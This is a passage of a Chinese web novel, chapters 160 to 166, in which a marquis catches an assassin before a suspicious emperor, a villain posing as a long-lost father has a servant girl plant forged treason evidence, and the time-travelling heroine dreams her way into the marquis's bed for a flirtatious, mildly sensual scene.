当天晚上,皇帝很是受用。小姑娘自有小姑娘的妙处,不足为外人道也。 因此,第二日下了朝,他便直奔小嫔妃那里去。 谁知却被心腹慌慌张张拦住了去路:“皇上,不好了!裴应见他,他带着大队人马,出城去了!” 皇帝登时如同一盆凉水从头顶浇下:“快!快派人去拦住他!不,抓他!给朕抓住他!如有反抗,格杀勿论!” 心腹忙忙下去找人去了,皇帝却猛地一跳,又喊:“回来!回来!来不及了!给朕备马!朕亲自去剿灭此贼!” 当下,他顾不上到小嫔妃那里去了,直接去换了骑装,牵了马便出城。 实在是裴应见这厮乃是他的心腹大患。昨晚还想着先不要打草惊蛇,谁知今天他就要逃跑! 绝对不能让他跑掉!一旦让他回到青州和燕州,那简直如同放虎归山。他拥兵自重,直接起兵谋反都是有可能的! 皇帝一边策马狂奔,一边在心中盘算。裴应见的异动让他再次确定,昨天的毒一定就是他下的。 因为下毒没成功,他才一大早就出城逃跑。 一定就是这样! 这么想着,皇帝直接抽出了自己多年不用的佩刀。 寒光闪闪的佩刀摄人心魄,他只待追上裴应见,就用这刀直接砍下这厮的脑袋,省得自己整日不能安寝! 然而,在城外十里处追上裴应见时,见到的却是另一番景象。 裴应见的人马到了这里竟然不走了,反而围着一个人在奋力厮杀。 第161章 上当 见皇帝銮驾突然到来,裴应见急忙上前见驾,还故意夸张地行礼,高声道:“微臣正在擒贼,不想惊动了圣驾!” 皇帝那出鞘的利刃还握在手里,乍一对上裴应见这诚恳的表情,一时间惊愣在原地,不知道该说什么了。 然而,皇帝垂眸之下,只觉得裴应见这诚恳的表情之下,似乎还带着许多兴奋。 他兴奋个什么劲儿? 皇帝只觉得自己气不打一处来,想了想,只好先收起了佩刀。 咳嗽了一声,才声音凉凉道:“望之,你在此擒的什么贼?” 此刻,包围圈里战况正激烈,裴应见的几个手下正将一个黑衣汉子围在中间。那黑衣汉子身手了得,饶是裴应见手底下人人都是精英,却也一时近不得他的身,反而被他左右拖住,双方一时僵持。 但,一大早的这么大阵仗出城,就为了围堵这区区一个贼? 皇帝面上不显,心中早已恼怒不已——这个该死的裴应见,他是不是故意的! 他是不是知道自己一直在注意他的动向,故意如此演给他看! 若早知道他不过是来追贼,他说什么也不可能亲自来追的。此刻在这里猝不及防撞上,他堂堂一个皇帝,整个脸都丢尽了! 皇帝兀自恼怒,面上却也只能保持镇定,尽量不露出自己是专门来追他的端倪。 然而,他问了这一句之后,裴应见却不正面回答,反而急忙道: “此贼奸猾不已,且武功高强,还请皇上暂避,待臣擒了此贼,再详细禀明圣上!” 皇帝越来越觉得,他这回是着了裴应见的道了。 说不定他就是故意随便弄了个贼子来此,为的就是引他出城亲自来追,看他的笑话! 可他偏偏还就上当了! 皇帝越想越气,急忙在心中思忖解决办法。 如今之计,只能假装自己是有别的事情要出城,而遇见他纯属意外,只有如此才能挽回自己做皇帝的些许颜面。 于是皇帝咳嗽一声,立时道:“朕在宫中待得乏了,想出城来打一场猎。你且在此擒贼吧,有什么事回宫再禀报,朕先走了。切记,不可对那群老臣说见过朕,不然朕又要受他们聒噪!” 这一番说辞便能把此次相遇圆得天衣无缝了,皇帝甚是满意,转身就要走。 谁知裴应见却忽然拦住:“陛下且慢!” 他往战况激烈的包围圈里看了一眼,拔高声音道:“此贼马上就要束手就擒,待臣捉了他,交于陛下发落!” 说着,也不等皇帝答应,直接一个纵身,飞进了包围圈内。 皇帝顿时暗道不好,原来裴应见是在这里等着他呢! 他是要他来做个见证,亲自来看着他擒拿这个贼人! 他会不会还有什么后招? 想到此处,皇帝顿时心中懊恼不已,但眼前事情却由不得他再做别的。 只因裴应见武功比手下们还要高出许多,他一飞进包围圈,形势顿时变化,那贼人再也抵抗不住,几招之下就落入了裴应见的手中。 见自己落败,那贼人也利索,直接挥刀就要抹脖子。 裴应见却在防着他这招,上前一指头就点了他的穴道。 贼人的兵刃应声落地,裴应见拎起此贼,飞回了皇帝面前。 他将贼人直接扔到皇帝马下,禀报道:“回禀陛下,此人就是冒充臣杀害郎松的人,微臣幸不辱命,将其活捉!” 皇帝暗暗心惊,一时间简直悄悄咬碎了一口牙—— 什么狗屁的幸不辱命,谁让他捉了?! 他自己悄无声息地就来捉贼,还大张旗鼓搞的他这个做皇帝都被引来,弄半天,他只是为了捉这个能给自己洗脱罪名的贼人! 还死乞白赖地让他做见证! 裴应见这个小混蛋,他哪来的脸! 最可恶的是,他原本就是想让此事就这么搁置着的。 如若找不到真正的凶手,那裴应见就永远是疑犯,什么狗屁的证据,在他这里统统不管用。 将来以后他若想发难,这件事也是发难的理由之一。 可谁知这厮竟然真的能抓到这个贼! 他一点都不怀疑这人是裴应见自己找来冒充的,因为这个小混蛋跟他那个老混蛋爹一样,做事向来滴水不漏。 他既然敢当着他的面捉贼,那么他就可以确定,这个贼就是此案的凶手无疑。 裴应见应该是铁了心将此案办成铁案,要让他这个皇帝无论什么时候想借此案子,都再也找不到他的半点毛病! 皇帝越想越是生气,若不是这么多年养成了喜怒不形于色的习惯,此刻只怕他的一张老脸都已经绿了。 偏偏裴应见还毫无察觉,竟开始讲起了案情。 他讲起自己是如何通过蛛丝马迹,锁定了这个凶手的行踪,又是如何探知他躲在三阳城,然后又是如何设计将其引诱回京城,继而捉住的。 皇帝根本没有兴趣去听,但最后裴应见却说了一个名字:“甘彦。” 皇帝一愣:“此事和他有关?” 裴应见微微冷笑:“回禀陛下,此贼便是甘彦的心腹手下,所有事情,都是甘彦指使的!” 皇帝下意识摇头:“不可能,甘彦他杀郎松做什么?据朕所知,他们并无什么关系。” 裴应见也不废话,直接拍开贼人的哑穴:“是与不是,陛下审一审便知。” 裴应见手上功夫了得,一手点穴手法已练得炉火纯青。 拍开此人哑穴的同时,他便在他的其他穴位上动了些手脚,此刻这贼人虽然还咬牙硬撑不说,但其实身上早已如百蚁穿心,痛痒异常。 裴应见也不着急,就这么冷冷地看着他。 他所点的穴位乃是人身上最痛最痒的地方,普天之下没有几个人受得住这种痛,用不了多久,他就会开口的。 那贼人很快就满头大汗了,紧咬着的牙也松动了,忍不住闷哼出声。 裴应见这才开始发问,质问他和甘彦的关系,以及甘彦为何要杀郎松而嫁祸给他的内幕。 谁知那人忍耐到极限,实在不得不出声的时候,却突然大喊: “什么甘彦苦严的,我不认识!侯爷,我对您忠心耿耿,什么脏事都是我替您做的,没想到您到了今天却要卸磨杀驴……好好好,反正我也没了用处,我这条命也是您救的,您要杀我灭口,我没话说,您就动手吧!” 第162章 禁足 围观的众人都是一惊。 皇帝的表情也立刻变得玩味起来。 这个贼人,倒是真有点意思哈。他有点感兴趣了。回头带回去,他倒是很想亲自问一问。 谁能想到裴应见捉他本是想自证清白,却忽然就被他倒打一耙呢? 这下子,可算有好戏看了! 为了看裴应见的窘态,皇帝适时出声:“望之,此人果真是你的手下?” 果然,裴应见眉间的怒意一闪而逝。 但他却并不慌乱,转手就掏出了此人跟甘彦有联系的证据。 皇帝拿来一看,脸色又不禁黑了黑。 他说什么来着? 裴应见这个小混蛋,就是做事滴水不漏!捉贼的同时竟然还不忘调查他的生平。 这上面简直把此贼从出生开始的事情都调查得一清二楚了,而他从前遇难被甘彦所救的事情还被重点标了出来,仿佛生怕皇帝看不见似的! 一面是个来历不明的贼人,一面是朝廷亲封的镇国侯,皇帝总不好当面质问裴应见这份证据是不是假的,毕竟他还要脸。 只好道:“看来此贼十分狡猾,不如带回去详细审问。” 裴应见抬眼看了看皇帝。 气氛一时有些微妙。 皇帝的私心他再清楚不过。一旦此贼带回去,是生是死,究竟能问出些什么,怕不会再在他掌控中。 若想办成铁案,需就在此时。 一念至此,裴应见干脆伸手,又点了贼人几个穴位。 痛痒的感觉顿时加倍,一下传遍四肢百骸,饶是武功高强、铁骨铮铮的汉子,也忍不住痛呼出声。 这贼人正是甘彦的那个忠心耿耿的手下,平日做他的马车夫,一旦有什么脏事累事,都会悄悄替甘彦去办。 只因多年前甘彦曾救过他的性命,因此他一直跟在他的身边,从无二心。 只是此次事情太大,对手太强,于是甘彦只好让他先出去避一避。 他在完成任务之后,就去了三阳城。 那里距离京城不远不近,地处偏僻,十分适合探听京城的动向。 谁知很快便有消息传来,说甘彦事发,即将被押赴刑场,于是他忙忙赶回京城,才发现是一场骗局。 等想走已经来不及了,就这么落入了裴应见的陷阱之中。 此刻四肢百骸传来的疼痛之感几乎要将他吞噬,一瞬间,他已经意识到今天想活着从这里离开是不可能了。 但他残存的最后一丝意志却告诉他,绝对不能出卖主人! 一念至此,他立刻顶着疼痛大声呼喊道:“侯爷!您的恩情属下这辈子还不完,来生再报!属下先走一步了!” 裴应见一怔,暗道不好,立刻伸手,却还是晚了一步。 只见那大汉的喉咙一动,显然是把什么东西吞了下去。 裴应见立刻捏开他的嘴,便见他的一颗牙齿之中竟是空的,那里嵌着一个机关,显然是藏着毒药。 他拍开他的哑穴,本是想让他在皇帝面前吐露真相,谁知却给了他吞掉牙齿间藏着的毒药的机会! 果真是见血封喉的剧毒,这药刚一下肚,此人的脸色立刻就变了。 不过数个呼吸之间,便见他突然一个抽搐,接着哇地吐出一口黑血,然后人就这么不动了。 饶是裴应见急忙出手替他护住心脉,封住死穴,也根本无济于事。 甘彦的这个手下,就这么在他和皇帝的面前,自尽了。 现场鸦雀无声,气氛一时凝重非常。 裴应见心中恼怒,面上却还得强自镇定。 而马上的皇帝,却已经忍不住露出笑意了。 半晌,皇帝忽然叹口气,幽幽道:“望之,此事朕看,还需从长计议啊。” 他也没说怀疑,更没说相信,态度高傲又冷淡,只收起了裴应见给他的那些资料,转而叫人抬走了这人的尸首。 “此人所言似乎凿凿,朕自会详查。为避免有与你不利的流言,这段时间,你还是呆在府中莫要露面吧。” 又叹了口气:“唉,日日琐事众多,朕不过想打个猎而已,怎么就这么难。” 说完,转身带着仆从走掉了。 见裴应见不服气还得跪下恭送的模样,皇帝的心情不知道有多好! 这可比打猎什么的有意思多了! 至于这些资料,鬼才相信!不过他还是会找人好好查的,他倒是要看看,裴应见到底是哪里来的这些手段,竟能查的如此清楚。 至于这个贼人么,他其实已经相信,此人就是甘彦的手下。 至于甘彦为何会突然趟这趟浑水,他就有些百思不得其解了。 印象中,甘彦是个谁都不得罪的老好人才对,为何会突然要杀郎松,而且还要嫁祸给裴应见? 此中到底有什么秘密? 皇帝想了一遍,又觉得头痛,实在是他身边可用之人实在太少,此事说不定还得等月娘回来亲自查查才能定论。 …… 就这样,尽管拿到了贼人,但裴应见的罪名仍然没有洗脱之外,又多添了禁足的惩罚。 虽然皇帝没有明说,但这话的意思不就是让他禁足么? 裴应见却并没有太着恼。 在家禁足着,他也照样能做很多事,又不用出去应付那些人,倒是乐得清闲自在。 只是…… “咱主子在这院子里来回得有好几百趟了吧。” 黄昏时分,青义走过来,和青川一起扒在门缝外,悄悄看着在院子里踱步的裴应见。 青川淡淡回答:“两千多趟了。” 青义咋舌。 寻常主子如果遣走他们,自己一个人躲在院子里,那就是要到那个神秘的客栈去了。 但是今天这是怎么了? 怎么来回走了这么多趟,就是不去呢? 莫不是那客栈从此再也去不了了? 两人对望一眼,心中都暗道不好,那客栈里的好宝贝那么多,如果从此再也不能去,那得是多大的损失啊。 而院子里的裴应见也在想着客栈里的宝贝,只不过跟他们所想的,不是同一个“宝贝”罢了。 然而他思来想去,仍是没有鼓起勇气到客栈去,就这样心情烦闷地一直走到了天色完全黑下来。 晚饭之后,因为自家侯爷心绪不好,大伙儿都早早歇下了,偏院里住着的齐月娘也是如此。 然而月上中天之后,确定同屋的小丫头已经睡熟了,齐月娘却忽的睁开眼,悄悄往侯府的后门摸去。 第163章 父亲的任务 转过七八条小巷,一处深夜还未打烊的小酒馆附近,停着一辆简陋的马车。 齐月娘转头望望,四下无人,便迅速靠近那辆马车,掀帘子登了上去。 黑衣黑帽的马车夫随即驾车离开了那里。 不知道又走了多远,马车终于停了下来。 附近荒无人烟,车夫摘下帽子,月光下,露出一张略显苍老的脸来。 他转身将齐月娘扶了下来。 齐月娘却很是激动,望着对方的脸,半晌,嗫嚅出声: "父亲!父亲身体可大好了?" 齐月娘怎么也没想到,本来以为要费一番周折才能找到的"亲生父亲",却在那天买菜的时候,意外和她偶遇。 她千里迢迢离家来京城,为的就是寻找父亲,如今寻到了,自然便动了要离开侯府,搬过去跟父亲一起住的念头。 但"父亲"却拒绝了她,反而他还诚恳地拜托她留在侯府,只因"父亲"说这个镇国侯裴应见,表面看起来风度翩翩一表人才,实则私底下结党营私,舞弊弄权,甚至里通外国,做出了大逆不道的叛国之举。 齐月娘的"父亲"一生清廉,为国尽忠,怎么会允许裴应见这样的"奸臣"存活?他是势必要替皇上和百姓除掉这个大奸臣的,而他的有力帮手,就是齐月娘这个刚刚相认的女儿。 老实说,齐月娘在刚刚知道这件事的时候,整个人都是蒙的。 因为自家侯爷,真的完全看不出来是奸臣的模样,而且,他还是她的救命恩人...... 但,亲生父亲又怎么会骗她呢? 这可是她心心念念了十多年的父亲啊。 于是她权衡过后,还是选择了相信父亲,认定了裴应见是个奸臣,而她要做的,就是潜伏在他的身边,伺机而动。 但谁知道就在这个关键时候,父亲突然患了病,失去了联系。 齐月娘自是心急如焚,怎奈她在京城举目无亲,只能苦等。 所幸今日父亲终于大好了,可以悄悄前来和她相见。 对面,男人展露出一个慈祥的笑容,伸出手来摸了摸齐月娘的头发: "为父早已大好了,谢谢女儿关心。" 这个男人,自然不是齐月娘的亲生父亲,而是甘彦冒充的——姓齐的早就让他安排得力手下做掉了。 但想到他的得力手下,甘彦又是一阵肉疼。 本以为让他出去避避风头,就能躲过京城这里的事,但谁知道姓裴那个小畜生竟然颇多鬼点子,瞒着他把他的手下骗回了京城,还引动了皇帝前去亲自观战。 没办法,那手下为了不落入裴应见手中承受酷刑,只好服毒自尽,终于保住了甘彦。 但甘彦却也痛失了这个左膀右臂。 他恨啊! 这一切,都怪裴应见那个小畜生! 左思右想,甘彦都觉得自己不能坐以待毙,裴应见既然能找到他的那个手下,自然也就已经摸清了事情的来龙去脉,他一定下一步就会对付他甘彦。 与其等他出手,不如自己先下手为强,于是他决定,立刻给裴应见点颜色瞧瞧。 他正好还有一颗重要的棋子没用呢! "这些日子,月娘可好?为父看着月娘都瘦了,好孩子,不用担心为父,你自己倒是要多吃些饭才是。" 简简单单的几句关爱,却让齐月娘一下子便热泪盈眶。 从小,她就没有见过父亲哪怕一面,更别说享受来自父亲的关怀了。在别的女孩子都承欢膝下,扑到父亲怀里撒娇的时候,她却早早承担起了养家的重担。 只因父亲多年未归,母亲为了养家,早已积劳成疾,赚钱吃饭买药的担子,早早就落在了小小的齐月娘的肩膀上。 但饶是她非常努力,母女俩也很难吃饱,更别提治病了。 没多久,母亲就撒手人寰,齐月娘靠着邻居们接济,东一家西一家地吃着百家饭,终于长大。 她终于长成一个大姑娘,可以跋山涉水,到京城去寻找自己的亲生父亲了。 后来她每每回想,都觉得老天爷待她不薄,她毕竟寻到了父亲,而且父亲还是这样的和蔼可亲,和她想象中的,简直一个样。 哪怕不能时常和父亲见面,只要有父亲的这几句叮咛,她也觉得这些年的苦,都没白受,一切都是值得的。 然而,不等她再想跟眼前的"父亲"叙些家常,甘彦忽然从怀里掏出一封信来: "你将此物藏到裴应见府中隐秘之处,切记,万不能被人发现。" 齐月娘一惊:"这是什么?" "这是他通敌的罪证!" 甘彦瞪大眼睛,目眦欲裂: "此贼端的好手段,他通敌叛国,却将罪证藏的颇深,只可惜作恶多端终有报,我和朝中几位正直大臣,煞费苦心,终于拿到了这至关重要的证据,但可惜,我们却没有当场将其捉住,如今空有这证据,却不能指证他!" 齐月娘立刻心领神会:"父亲是要我把这证据放进侯府里,到时候父亲再带人上门搜出,这就是捉贼捉赃了,他就再也无法狡辩!" 甘彦很是高兴,又摸了摸齐月娘的头:"好孩子,果然聪明,不愧是我的孩子!" 齐月娘本来心里隐隐觉得此事有点不太对劲,但被"父亲"这么随口一夸,她立刻就将那些怀疑抛之脑后了。 ——亲生父亲的话,总不可能是假的。 于是齐月娘立刻收了信,匆匆回去了,临走信誓旦旦保证,她一定会完成父亲交给她的这个重要任务。 甘彦笑着目送她离开,却在她的身影消失之后,悄悄捻了捻自己的手指。 那上面还残留着齐月娘头发上的香气。 甘彦将手指凑到鼻尖,深吸一口气,欣赏完这属于少女的独有的香味之后,忽然变脸,唾骂了一句: "蠢货。" ...... 齐月娘并不笨,她知道裴应见的书房就是最秘密的地方,这么秘密的证据,理应出现在书房之中。 而显然半夜去书房是不合理的,于是她立刻回去眯着,一直挨到天色发亮,才拿了打扫工具,堂而皇之地走去了书房。 平日里她和另一个小丫头都会打扫裴应见起居的地方,书房也曾来过,于是她就这么轻而易举地完成了父亲交给她的任务。 而彼时的裴应见却还未起床,而且,他今天只怕也起不了床了。 因为他一觉醒来,他的床上,竟然多了一个人! 第164章 梦境 客栈的员工们私下里有一个小群。 这天秦绵绵被裴应见拉上楼之后,大伙儿就开始在群里窃窃私语,甚至罗小胖同学直接开了一个盘口,赌裴先生能不能做了秦绵绵的主,姚祁的投资到底能不能成。 姚祁倒是老神在在。秦绵绵和裴应见上楼后,只见他痞气一笑,反而直接坐下,还喊姜芙给他倒茶。 但随着时间一点一滴流逝,两个人却一直不下来,姚祁就肉眼可见地有点慌了。 最后到了饭点,俩人还是没下来。罗小胖也坐不住了,噔噔噔上楼敲门。 门没锁,里面却不见裴应见,而秦绵绵竟然躺在地上昏迷不醒! "掌柜的老毛病又犯了!" 众人得知,连忙都跑上来,七手八脚把秦绵绵抬到床上,拿药的拿药,扇风的扇风。 罗小胖脸色凝重。秦绵绵自从吃上那个药之后,发病的时间已经越来越少了,最近一段时间几乎没有见她发病过,今天这是怎么了? 而且,裴先生呢?他明明也上了二楼,这会儿竟然不见了。 而刚才大家都在楼下大堂,根本没有一个人看见他出门啊。 取了药丸来,罗小胖想给秦绵绵服下,但秦绵绵睡得特别沉,连张嘴吃药都做不到。 姚祁拧眉:"这可不像睡着,更像是昏迷......" 他反手就打了电话从市里叫了医疗团队来,但看过之后,还是没办法。 团队里的专家也表示,这就是一种罕见病,发病的时间和机制都不受控制,发病之后也根本没有什么好办法,只能等病人自己苏醒。 姚祁很是生气:"一定是姓裴的把掌柜的气着了......对了,姓裴的人呢?你们谁看见他了?" 众人都摇头。 姚祁又毛遂自荐要贴身照顾秦绵绵,却被朱七妹和姜芙以"男女有别"为理由赶走。 因为秦绵绵这一病,这天晚上,整个客栈人仰马翻。 但他们没想到的是,到了第二天情况更糟糕了,秦绵绵竟然还是没有醒。 到了第三天,她还是没有醒! 大家都慌了。 为防止昏睡这么久身体出问题,姚祁又把医疗团队喊了回来,先给秦绵绵输上了营养液。 姚祁脸色难看:"如果一直醒不过来可怎么办?" 罗小胖骂他:"闭上你的乌鸦嘴!掌柜的老毛病了,一定不会有事的!" 客栈众人都陷入了焦虑之中,干脆连生意都不做了。 他们却不知道,秦绵绵之所以醒不过来,是因为她此刻正陷入在一个冗长而深沉的梦境中。 秦绵绵又梦见了那个叫秦月娘的小姑娘。 这次的故事,跟上次的情形很显然是相距不久的。 那日被抛到乱葬岗后,小小的月娘只剩了一口气,眼看就要丧命,却恰恰遇上一云游到此的怪和尚。 和尚本以为她死了,正欲念经为她超度一番,但谁知竟发现她还有一口气,不仅如此,他还察觉到这小小丫头的身子根骨很是奇特。 怪和尚当即大喜,径直将秦月娘带了走。 月娘因为怪和尚的救助而活了性命,醒来之后,这和尚更提出了一个奇怪的要求:他要收月娘做徒弟,要她跟他学习功夫。 小小的月娘有点发懵。 自来和尚的徒弟只能是和尚,难道要她立刻出家做个尼姑? 怪和尚却哈哈一笑:"小丫头,你只管跟我学功夫便可,将来以后有你的大造化!" 月娘还在犹豫,怪和尚却不由分说,直接将她拎去了院子,从扎马步开始练起了。 而后的日子,他们一边赶路,一边练武。 正如怪和尚所断,秦月娘的根骨果然异于常人,且聪慧通透,加之怪和尚对她严格要求到了近乎变态的地步,秦月娘习武的进度简直可以说是一日千里。 待到他们到达赶路的目的地的时候,秦月娘的功夫竟已小有所成了。而他们的目的地,却是京城。 如今的月娘,已经能在怪和尚的手底下过上百招而不落败了。怪和尚连连叹好,又感叹自己再也教不了她什么。 秦月娘闻声下拜:"一日为师终身为父,月娘感激师傅救命之恩,教导之恩,这辈子都愿意侍奉师傅左右!" 怪和尚却连连摇头:"我有一个好去处,你到那里尽心学,如若能学成,那你便能成为这天下第一流高手,也不枉费为师教导你一场,到时候再提报恩不迟......" 秦月娘虽然年纪小,心思却正。她一心铭记师傅大恩,自然对师傅所言全然信任,于是立刻答应了下来。 几天后,怪和尚带她来到了一处山脚下的院落外,打开大门便让她往里进。 这院落建得很是怪异,院墙起码有普通的宅院院墙的三倍高,四下再无门窗,乍一看上去简直如铜墙铁壁,又如牢笼一般让人心生畏惧。 秦月娘心中生畏,但出于对师傅的信任,她还是毅然踏进了大门,进去"求学"去了。 却不知怪和尚看她背影消失在门后之后,立刻露出了满脸的兴奋: "八年了,还未曾有一个人活着从这里走出去。小丫头啊小丫头,你可别让我失望......老子我的荣华富贵可全都靠你了......" 而秦月娘进了大门,却见四下空荡荡的,除了高不可攀的院墙之外什么都没有。 见前面还有一个门,于是她就踏了进去。而在她进入后,她才终于发现:这里根本不是什么求学学武的地方,而是地狱。 吃人的地狱...... 高大的院墙遮住了仅有的日光,昏昏暗暗之下,宅子的四下不知道怎么竟起了一阵迷雾。 而这迷雾之中,竟然还有低低的野兽嘶吼之声。 迷雾之后,是一双双凶戾而饥饿的眼睛! …… "月娘!" 秦绵绵猛地惊醒过来。 她感觉到自己一身冷汗,不为别的,就为了那小小的姑娘突然落入这样的境地里,而为她捏把冷汗。 小小的她虽然学了一身武艺,可这哪里是人呆的地方! 那样多的野兽!那样的危险! 秦绵绵抹了把汗,想起身坐起来,却发现自己竟然不是在自己的房间里。 第165章 轻薄 实话说,做了这么多次同样的梦,再次入梦境的时候,秦绵绵很轻易就已经知道自己又是在做梦了。 而每次从梦境中脱离的办法也很简单,那就是情绪波动,出一头大汗,她自然而然就会醒来,回到现实世界。 然而这一次,她清楚地感受到了自己额头上的冰凉汗意,却意外地并没有立刻脱离梦境,反而好像整个人化为实体,融入到了这梦境之中。 这个认知让她立刻清醒了过来。 下一瞬,她就想立刻下场,先到这吃人的大宅之中,去救了那叫做秦月娘的小姑娘的性命。 可梦境却似乎并不同意她做这件事,就在她刚刚迈动步伐要前去的时候,整个梦境忽然空间急速扭曲起来。 秦绵绵只觉得天旋地转—— 下一秒,再睁开眼的时候,她突然就到了一张床上。 是的,不仅仅是一张床,床上还躺了一个男人! 天气似乎有点热,男人什么都没盖不说,整个人也穿得十分的清凉。 秦绵绵只看了一眼,便只觉得鼻尖忽然一股热意。 但是不得不说——这身材是真好啊! 这腰,这肌肉,这线条。 这脸。 不仅丰神俊朗,俊逸无双,还有点……眼熟? 在仔细看清楚眼前人到底是谁之后,秦绵绵的鼻尖更热了! 她瞬间瞪大眼睛,立时捂住自己的鼻子,猛地背过身去。 乖乖……看看我她都干了什么好事。 什么日有所思夜有所梦,诚不欺我。 她竟然梦到自己上了裴应见的床! 这么古色古香的房间,很显然她是直接梦到了古代的裴应见的住处,还把人家给梦的这么……清凉! 她这个脑子该说不说,还真的是有点……创意。 众所周知,人在做梦的时候智商都是不完整的,此刻的秦绵绵也是。 在察觉到眼前人就是自己翻来覆去念想的那个人之后,她立刻将两人刚刚吵过架,她甚至还故意把人赶走的事情抛之脑后。 甚至忽然福至心灵地想到——既然是梦境,那就是她的天下。虽然现实中实在是没办法答应跟他在一起,但不妨碍她在做梦的时候发疯一下。 人都送到嘴边了,不吃白不吃是不是! 这么想着,秦绵绵就突然上了头,立刻朝身边的男人伸出了自己的魔爪…… 而这一边,裴应见第一时间就醒了。 开玩笑,他自小习武,反应是多么的敏锐,怎么可能平白无故自己床上多了一个人而不知道。 但怪就怪在,这个人是突然出现的——"砰"的一声,就这么突然出现在了他的身边。 一瞬间,本能让他立刻准备出手掐住来人的脖子,但下一瞬,熟悉的香气突然钻入鼻尖。 他懵了。 他整个人立时僵在了原地,别说掐人了,连一根手指都动不了了。 他闭着眼睛,假装还是睡着的,实则心里早已翻江倒海。 太过熟悉了,这个人,他实在是太过熟悉了! 他第一时间就知道她是谁了! 虽然人没动,但一颗心却还是不受控制地扑通扑通狂跳起来,热意从身下攀上来,爬上他的脸颊,又爬上他的耳朵。 所幸这人来的时候似乎是睡着的,她咕哝了一下,像是在做着什么美梦,忽然又一下子背过身去。 应该是没有发现他的异样。 裴应见这么想着,心里悄悄松了口气。 又想到这人可能还不知道自己竟已来到了他的时代,等她醒来,神情一定精彩得很。 又想到她那天所说的话—— 什么叫她"没有能力给他一个名分"? 呵,这人。 她一定想不到,自己也能穿到他的时代来吧? 到了他这里,那一切还不是他说了算么。 她没有能力,但是他有能力啊。 一念至此,裴应见只觉心中一阵热血上涌,便恨不得立刻转身扑过去,将这个让人又爱又恨的女人占为己有。 然而,还没等他有所动作,一旁的女人却先动了! 只见她的人虽然还是背朝着他的,一只纤长的手却悄悄伸了过来,从他的侧腰慢慢攀爬上来,很快摸上了他的……腹肌。 然后,她伸出一根手指,开始在他清晰可辨的腹肌上来回游走…… 裴应见只觉得脑子里嗡的一声,一阵热意直冲上来,身体某处骤然就发生了变化。 虽然隔壁的女人还是背对着他的,还不知道他的窘态,但越是如此,他就越是能清晰地感觉到自己整张脸都红了,甚至整个人都要红了! 这,这,这……这个要人命的女人啊。 而过了一会儿,这个要命的女人的要命的手,却并没有往别的地方试探,反而还是在他的腹肌上游走。 裴应见突然明白过来,她好像,在数数? 这边,秦绵绵却是闭着眼睛在喟叹。 好腰啊好腰,好腹肌啊好腹肌。 八块腹肌清清楚楚,一块也不少,她可是有很久没吃过这么好了…… 咱就是说,虽然表面上看起来高冷如冰山的她,实际内心里她其实也是个色鬼来着。 而且她可没少吃好的。 从前没被认定成假千金的时候,她也经常被人拉去声色场所,那里面的各色男人,哪一个不是见了她就往上扑? 那个时候,不知有多少男人想攀上她这朵高岭之花。 只是她欣赏归欣赏,从来不下场,那个时候的秦大小姐,哦不,姜大小姐,是出了名的万花丛中过,片叶不沾衣。 而她第一次有一种心中触动的感觉的时候,恰恰在是那个冬天的傍晚,有个神秘的男人突然闯入她的小破客栈。 那人浑身湿漉漉的,一片好身材清晰可见。 她只一眼,就动了心。 而此刻,那个让她忍不住感叹"真不错"的男人,竟然还登堂入室,进到她的梦境里来了。 好好好,姓裴的,你是个好样的。 秦绵绵想到这里,心里愈发发了狠,小手毫不客气地继续往上攀去。 另一边,男人却再也支撑不住了,在她作乱的小手马上要探到自己敏感地带的时候,猛地闷哼出声。 他呼吸一窒,急忙凭着一丝仅存的理智伸手将她的小手握入掌中。 他开口,声音低沉沙哑到了极致: "反了天了么……敢轻薄我堂堂侯爷?" 第166章 谁不乖 秦绵绵第一反应就是——虽然在梦里,但这男人的手好大,好烫。 不知道其他地方,是不是也一样…… 压下这个旖旎心思,第二反应就是——到底是谁反了天了? 因为自知是在梦中,秦绵绵有一种破罐破摔的勇,矜持也不要了,直接咂咂嘴: “看来得让你知道知道,在我的梦里,到底谁是老大……” 说着,突然就一个翻身,直接扑到了男人身上。 而这边,裴应见却赶在她看见之前,猛地闭上眼睛! 他怎么也想不到,这人原来是彻底清醒的,更没想到她竟然怀疑自己是在做梦。 于是电光火石之间,他突然很想知道她在自己的梦里,究竟要怎么对他。 更想知道,她这个“老大”,到底有些什么不为人知的手段。 他实在太好奇了。 闭上眼睛的裴应见,有时候比睁开眼睛的时候还要好看。 窗外日头初升,卧房内仍有些昏暗,光影明暗间,他的眉梢眼角仿佛忽而染上一层薄霜,既分明,又朦胧。 秦绵绵看了一眼,忽然就心神一荡,愣在了原地。 然后,她暂时压下发狠的心思,先伸出手来,在他的眉眼间细细描摹起来。 他真好看呀…… 朦朦胧胧的,好像一幅画。 他甚至眼角还有些红,是在做梦么?在她的梦里还在做梦,却不知他又会梦见些什么。 秦绵绵的手指在男人的眉眼处游走,心思越发地乱了。 四下寂静无声,天地间仿佛只剩下了两人的呼吸声。 而被她这样用手指抚摸的男人,此刻心里却更乱。 因为他忽然想到一个问题,那就是他刚刚好像说话了。现在又要装睡,这怎么瞒得过去? 思来想去,他决定继续装睡,而且还要玩个大点儿的。 秦绵绵描着男人的眉眼,正心猿意马,便见男人忽然皱起眉头,嘟囔出声:“走开,我已有心上人了!” 说着,还突然出手,一把拂掉了秦绵绵的手。 秦绵绵乐了。 这家伙,这到底是梦见什么了呢? 偏偏男人还没说完,只见他又拧紧眉头,似是着急不已,又道:“绵绵,绵绵你听我解释,我真的不认得她……” 秦绵绵一愣。 随即忍不住心中一软,轻轻呸了一声:“烦人,你做你的梦,跟我有什么关系……” 接着,又见男人神情一变,忽而浮上许多委屈上来,他低声喃喃:“绵绵,别走好不好……” 看他一副受伤不已的模样,秦绵绵心里忍不住又软了几分,再想到他们在现实中的那次“吵架”,他那时也是这般受伤的神色。 她若是违心的说一点都不在意,那是假的,只是这在意,她不肯说出口而已。 但此刻却是在梦里,她似乎不用再隐藏自己的真实想法了。 一念至此,秦绵绵干脆不再忍耐,看了看他,俯身就擒住了他那双诱人已久的薄唇。 底下正演得起劲的裴大侯爷一下子就傻了。 “唔……” 女人发起狠来,一点都不客气,直接攻城略地。她一只手撑在旁边,另一只手也不安分。 她的目的很明显,她就是想在此时此刻,把眼前这个男人吞吃入腹! 哪怕是在梦里,也要先占了便宜再说。 可男人哪里受得了这个,只一个呼吸之间,他的脸便整个爆红,气息紊乱,难以自抑。他心一横,干脆打算睁开眼和她彻底坦白算了。 然而,就在这个当口,屋外的院子里突然传来人声。 只听有人低声道:“这么早就来打扫了?侯爷此刻还未醒呢。对了,月娘呢,怎么没跟你一道来?” 裴应见顿时清醒了。 